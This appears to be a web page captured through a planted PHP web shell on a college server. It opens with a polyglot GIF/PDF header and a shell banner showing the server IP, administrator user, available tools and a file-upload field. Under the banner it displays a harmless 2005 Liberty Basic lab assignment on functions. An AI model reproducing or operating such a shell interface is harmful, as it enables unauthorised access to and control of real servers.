GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/_Archive/CST1794/Archive/ |
Upload File : |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>CST1794-Lab-10</title> <style type="text/css"> td { vertical-align:top; } td.number { text-align:right; } th { text-align:left; vertical-align:top; } li { vertical-align:top; } li.instruction { margin: 5px 0px 0px 0px; } </style> </head> <body BGCOLOR="LemonChiffon" TEXT="Black" LINK="Blue" VLINK="Blue" ALINK="Red"> <div align="center"> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr> <td align="left"><font size="-1"><b>CST1794-Lab-10 </b></font></td> <td align="right"><font size="-1"><b> 2005.01.25</b></font></td> </tr> </table> <div> <h1>CST1794 <br> Lab-10 </h1> </div> <div> <!-- MetaLanguage3 ! --> <!-- Lab ! --> <br> <br> <table> <tr valign="top"> <td><font color="Navy"> <h3><b>Personalized Instruction: </b></h3> </font> <ol start="1"> <li>Write a program called <b>Lab-10.bas</b> to perform the following: <table style="border: 1px solid black;"> <tr> <td style="padding: 15px 15px 0px 15px;"><pre>'<b> StudentNameGoesHere</b> ' Lab-10 ' This lab will demonstrate how functions work. ' Write a computer program to: ' 1. Initialize myNumber to 2 ' 2. Call myFunction three times sending it the following values. ' Assign the return value of myFunction to myNumber (IE. myNumber=myFunction(stringbelow,myNumber)). ' "This is the first call of myFunction", myNumber ' "This is the second call of myFunction", myNumber ' "This is the third call of myFunction", myNumber ' 3. After the function calls above, add the folowing statements: ' print print "At the end of the program, the value of myNumber is now ";myNumber;"." ' ' NOTE: If everything is working correctly, the value of myNumber should now be 256. ' 4. Write a function called myFunction. This function should take two arguments: a string, and a number. ' The function should contain the following statements: ' Print functionString$ myFunction = functionNumber*functionNumber print functionNumber;" squared is ";myFunction ' ' NOTE: The variable names functionString$ and functionNumber in the three statements above ' should be replaced with the variable names you used in your FUNCTION statement. </pre></td> </tr> </table> NOTE: The program instructions/statements above are written as <a href="http://cst.ridgewater.edu/Courses/CST1794/dn/LibertyBasic/lb401win.exe">Liberty Basic v4.01</a> comments/statements and must be copied directly into your program. <li>The first program line must be a comment with your name (replace <b>StudentNameGoesHere</b> with your name). <li>Email the program file <b>Lab-10.bas</b> to me at <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> with a subject line of <b>Assignment-CST1794-Lab-10</b>. <li>This lab is due by 1:30pm on Thursday, September 29th, 2005. </ol></td> </tr> </table> <br> <table> <tr valign="top"> <td><font color="Navy"> <h3><b>Evaluation: </b></h3> </font> This is your 10th formal evaluation for this course. It will be used to evaluate your progress with the use of the functions. This lab is worth 5 points. <!-- MetaCodeRemovedByComment --> If you have any questions about the assignment you can email me at <a href="mailto:jim.martinson@ridgewater.edu">jim.martinson@ridgewater.edu</a> or make an appointment to see me. </td> </tr> </table> <br> <table> <tr valign="top"> <td><font color="Navy"> <h3><b>Grading: </b></h3> </font> <table> <tr> <td class="number">Points</td> <td> </td> <td>Objective</td> </tr> <tr> <td class="number"> -5 </td> <td> </td> <td>Lab not handed in as directed.</td> </tr> <tr> <td class="number"> -1 </td> <td> </td> <td>Lab turned in late.</td> </tr> <tr> <td class="number"> -2 </td> <td> </td> <td>Poor lab layout (code is hard to read or follow).</td> </tr> <tr> <td class="number"> 2 </td> <td> </td> <td>Function statements are as directed above.</td> </tr> <tr> <td class="number"> 2 </td> <td> </td> <td>myFunction calls and assignments are as directed above.</td> </tr> <tr> <td class="number"> 1 </td> <td> </td> <td>The last myNumber value output should be 256.</td> </tr> <tr> <td colspan="3"> </td> </tr> <tr> <td colspan="3"> This lab is worth 5 points. </td> </tr> <tr> <td colspan="3"> Negative values above may reduce the total points for this lab to zero. </td> </tr> </table> <div> <table> <tr> <td><font color="Navy"> <h3><b>References and Resources: </b></h3> </font> <ol> <li> <table border="0" cellspacing="0" cellpadding="0"> <tr valign="bottom"> <td><table border="0" frame="void" cellpading="0" cellspacing="0"> <tr valign="bottom"> <td><i>Beginning Programming for Dummies</i><br> Edition: 3rd<br> Wallace Wang<br> Wiley Publishing, Inc. ©2004<br> ISBN: 0-7645-4997-9<br> </td> </tr> </table></td> <td>(Student supplied textbook)</td> </tr> </table> <li> <a href="http://cst.ridgewater.edu/Courses/CST1794/dn/LibertyBasic/lb401win.exe">Liberty Basic v4.01</a> Software (May be copied from the network and installed on leased laptop or student supplied computer) <li> Computer system with OS (Leased laptop or Student supplied equipment) <li> Course <a href="CST1794-InstructionalGuide.htm">Instructional Guide</a> (On-line) <li> <a href="Examples.htm">Example Programs</a> (On-line) </ol></td> </tr> </table> <div> Return to the <a href="CST1794-InstructionalGuide.htm">Instructional Guide</a> or <a href="CST1794-Syllabus.htm">Syllabus</a>, or the <a href="javascript:history.back();">previous page</a>. <div> <table> <tr valign="top"> <td><font color="Navy"> <h3><b>Version Information: </b></h3> </font> <table> <tr> <td>2005.01.13</td> <td>revised.</td> <td>jfm</td> </tr> <tr> <td>2005.01.25</td> <td>New on-line modular IG started.</td> <td>jfm</td> </tr> </table></td> </tr> </table> <br> <br> <br> <br> <div align="center"> <div> Author: <a href="../../Instructors/?Author=jfm">Jim Martinson</a> <div> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tr> <td align="left"><font size="-1"><b>CST1794-Lab-10 </b></font></td> <td align="right"><font size="-1"><b> 2005.01.25</b></font></td> </tr> </table> </div> </body> </html>